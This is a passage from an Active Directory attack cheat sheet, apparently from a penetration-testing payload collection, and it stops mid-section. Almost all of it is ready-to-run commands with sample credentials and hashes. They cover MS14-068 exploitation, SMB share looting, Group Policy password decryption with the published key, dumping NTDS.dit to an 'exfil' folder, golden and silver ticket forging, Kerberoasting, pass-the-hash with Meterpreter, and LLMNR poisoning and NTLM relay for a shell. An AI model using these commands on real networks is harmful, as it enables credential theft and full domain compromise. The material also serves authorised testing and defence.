## Most common paths to AD compromise

### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

```bash
Exploit Python: https://www.exploit-db.com/exploits/35474/
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum

git clone https://github.com/bidord/pykek
python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
```

### Open Shares

```powershell
smbmap -H 10.10.10.100    # null session
smbmap -H 10.10.10.100 -R # recursive listing
smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
```

or 

```powershell
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
ls  # list files
cd  # move inside a folder
get # download files
put # replace a file
```

or 

```powershell
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk      
        SYSVOL          Disk      Logon server share
        Users           Disk
use Sharename # select a Sharename
cd Folder     # move inside a folder
ls            # list files
```

Mount a share

```powershell
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
```

### GPO - Pivoting with Local Admin & Passwords in SYSVOL

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

Find password in SYSVOL

```powershell
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
```

Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280))

```bash
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

e.g: 
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
```

Metasploit modules to enumerate shares and credentials

```c
scanner/smb/smb_enumshares
post/windows/gather/enum_shares
post/windows/gather/credentials/gpp
```

Crackmapexec modules

```powershell
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
```

List all GPO for a domain

```powershell
Get-GPO -domaine DOMAIN.COM -all
Get-GPOReport -all -reporttype xml --all

Powersploit:
Get-NetGPO
Get-NetGPOGroup
```

### Dumping AD Domain Credentials (%SystemRoot%\NTDS\Ntds.dit)

#### Using ndtsutil

```powershell
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
```

#### Using Vshadow

```powershell
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
```

You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)

```powershell
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
```

#### Using vssadmin

```powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
```

#### Using DiskShadow (a Windows signed binary)

```powershell
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
```

#### Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes

```java
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
```

secretsdump also works remotely

```java
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
```

#### Alternatives - modules

Metasploit modules

```c
windows/gather/credentials/domain_hashdump
```

PowerSploit module

```powershell
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
```

CrackMapExec module

```powershell
cme smb 10.10.0.202 -u username -p password --ntds vss
```

### Password in AD User comment

```powershell
enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas: 
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
```

### PassTheTicket Golden Tickets

Forging a TGT require the krbtgt key

Mimikatz version

```powershell
Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt

Forge a Golden ticket - Mimikatz
kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt
```

Meterpreter version

```powershell
Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt

Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list
```

Using a ticket on Linux

```powershell
Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi

Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519


export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME


NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
```

### PassTheTicket Silver Tickets

Forging a TGS require machine accound password (key) from the KDC

```powershell
Create a ticket for the service
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

Then use the same steps as a Golden ticket
misc::convert ccache ticket.kirbi
export KRB5CCNAME=/home/user/ticket.ccache
./psexec.py -k -no-pass --dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
```

### Trust Tickets

TODO

### Kerberoast

> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names)

Any valid domain user can request a kerberos ticket for any domain service with `GetUserSPNs`. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

```powershell
$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request

```

Then crack the ticket with hashcat or john

```powershell
hashcat -m 13100 -a 0 hash.txt crackstation.txt
./john ~/hash.txt --wordlist=rockyou.lst
```

### Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes.

```powershell
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r  
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell

or with crackmapexec
cme smb 10.2.0.2 -u jarrieta -H 'aad3b435b51404eeaad3b435b51404ee:489a04c09a5debbc9b975356693e179d' -x "whoami"
also works with net range : cme smb 10.2.0.2/24 ... 

or with psexec
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d

or with the builtin Windows RDP and mimikatz
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
```

### OverPass-the-Hash (pass the key)

Request a TGT with only the NT hash

```powershell
Using impacket
./getTGT.py -hashes :1a59bd44fe5bec39c44c8cd3524dee lab.ropnop.com
chmod 600 tgwynn.ccache

also with the AES Key if you have it
./getTGT.py -aesKey xxxxxxxxxxxxxxkeyaesxxxxxxxxxxxxxxxx lab.ropnop.com


ktutil -k ~/mykeys add -p tgwynn@LAB.ROPNOP.COM -e arcfour-hma-md5 -w 1a59bd44fe5bec39c44c8cd3524dee --hex -V 5
kinit -t ~/mykers tgwynn@LAB.ROPNOP.COM
klist
```

## Capturing and cracking NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison `LLMNR`, `MDNS` and `NETBIOS` requests on the network.

```python
python Responder.py -I eth0
```

Then crack the hash with `hashcat`

```powershell
hashcat -m 5600 -a 0 hash.txt crackstation.txt
```

## NTLMv2 hashes relaying

If a machine has `SMB signing`:`disabled`, it is possible to use Responder with Multirelay.py script to perform an `NTLMv2 hashes relay` and get a shell access on the machine.

1. Open the Responder.conf file and set the value of `SMB` and `HTTP` to `Off`.
2. Run `python  RunFinger.py -i IP_Range` to detect machine with `SMB signing`:`disabled`.
3. Run `python Responder.py -I <interface_card>` and `python MultiRelay.py -t <target_machine_IP> -u ALL`
4. Wait for a shell

### Dangerous Built-in Groups Usage

AdminSDHolder

```powershell
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or
([adsisearcher]"(AdminCount=1)").findall()
```

### Trust relationship between domains

```powershell
nltest /trusted_domains
```

or
